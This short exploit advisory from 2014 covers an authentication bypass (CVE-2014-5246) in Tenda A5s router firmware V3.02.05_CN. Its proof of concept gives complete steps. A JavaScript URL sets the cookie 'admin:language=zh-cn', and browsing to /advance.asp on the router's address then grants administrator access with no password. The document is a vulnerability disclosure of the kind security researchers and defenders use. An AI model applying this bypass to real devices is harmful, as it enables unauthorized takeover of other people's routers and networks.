Tenda A5s Router 3.02.05_CN – Authentication Bypass
----------------------------------------------------------------------- Tenda A5s Router Authentication Bypass Vulnerability ----------------------------------------------------------------------- Author : zixian Mail : me@zixian.org Date : Aug, 17-2014 Vendor : http://tenda.com.cn/ Link : http://tenda.com.cn/Catalog/Product/223 Version : V3.02.05_CN CVE : CVE-2014-5246 Exploit & p0c _____________ go to http://192.168.2.1/ then set cookie with javascript javascript:document.cookie='admin:language=zh-cn' go to http://192.168.2.1/advance.asp you are the admin! _____________ |